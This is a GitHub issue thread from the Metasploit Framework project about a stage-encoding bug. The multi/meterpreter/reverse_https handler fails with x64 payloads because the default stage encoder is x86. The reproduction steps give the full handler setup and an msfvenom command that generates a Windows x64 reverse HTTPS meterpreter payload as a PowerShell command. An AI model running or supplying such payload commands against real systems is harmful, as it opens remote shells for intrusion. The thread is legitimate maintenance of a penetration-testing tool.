search

rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.3k stars 14.01k forks source link

multi/meterpreter/reverse_https fails when using x64 payloads stagers with EnableStageEncoding = True #13434

Open aconite33 opened 4 years ago

aconite33 commented 4 years ago

Steps to reproduce

use exploit/multi/handler
set payload multi/meterpreter/reverse_https
set handlersslcert /root/combined.pem # Lets Encrypt full chain cert + private key
set LPORT 443
set LHOST 192.168.1.10
set EnableSTageEncoding true
exploit -j -z

Generate x64 payload for Windows Powershell:

msfvenom -p windows/x64/meterpreter/reverse_https LPORT=443 LHOST=192.168.1.10 -f psh-cmd

Execute in a window cmd and validate that a call back executes, but a full shell does not connect back. Looking at wireshark during connection, you can see a TLS alert 21, and then a reset of the connection.

image

Expected behavior

A full connection back using an x64 psh-cmd payload.

Current behavior

Connects back, but fails to complete a full connection.

System stuff

Metasploit version

msfconsole --version
Framework Version: 5.0.89-dev-

I installed Metasploit with:

(I can replicate this on Kali linux as well)

OS

Running on Ubuntu18.04.4 LTS

aconite33 commented 4 years ago

After working this problem with a co worker (@kerrymilan), figured out what the issue was. Since the encoding switch is turned on, it defaults to the x86/shikata_ga_nai, which breaks the x64 staging payload.

Setting the state encoding, for example:

set StageEncoder x64/xor

Will accept the x64 payload, however it will then break the x86. What is odd though, if you use a .exe format, then it will work for x64 .exe payloads (using the default x86/shikata_ga_nai). However, using the x32 .exe format and setting the encoder to x64/xor this will break the x86 .exe call back.

Definitely seems the root of the problem is that StageEncoder defaults to x86/shikata_ga_nai without first checking the architecture. (More or less shooting myself in the foot)

Observations

1) Looking at the call back, I can see the error on the wire is a SSL Error 2) Using x64.exe with the x86/shikata_ga_nai encoder works (Note, I was originally doing this with -f psh-cmd, but even setting the encoder to x64/xor it will still fail) 3) Using x32.exe with the x64/xor encoder does not work

OJ commented 4 years ago

Oh interesting! So this is an issue with the multi-listener only? That makes way more sense to me :)

aconite33 commented 4 years ago

Yeah, it was a really weird corner case. @kerrymilan was the one who pointed out the encoders. He fixed it up in the PR, which was pretty sweet because I thought you wouldn't be able to determine the arch before you get a full shell, apparently not.

OJ commented 4 years ago

Yeah for HTTP/S you can, because the UUID contains a platform/arch identifier 👍

kerrymilan commented 4 years ago

Oh interesting! So this is an issue with the multi-listener only? That makes way more sense to me :)

I think the main issue is that StageEncoders don't check for arch compatibility. You can achieve the same failure by running set StageEncoder=x64/xor alongside windows/meterpreter/reverse_https, so it's not just an issue with the multi-listener.

You'd have to deliberately set those options in the case of windows/meterpreter, though, while the defaults set in multi/meterpreter can cause issues.

OJ commented 4 years ago

You can achieve the same failure by running set StageEncoder=x64/xor alongside windows/meterpreter/reverse_https, so it's not just an issue with the multi-listener.

Right that one throws me a bit. I thought we had stuff in place to make sure that staged encoders couldn't be selected if the arch didn't match. TIL!

github-actions[bot] commented 4 years ago

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

aconite33 commented 4 years ago

I don't believe this issue has been fixed yet. I haven't reviewed this in awhile, but I don't believe this has been fixed.

github-actions[bot] commented 4 years ago

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

github-actions[bot] commented 4 years ago

Hi again!

It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.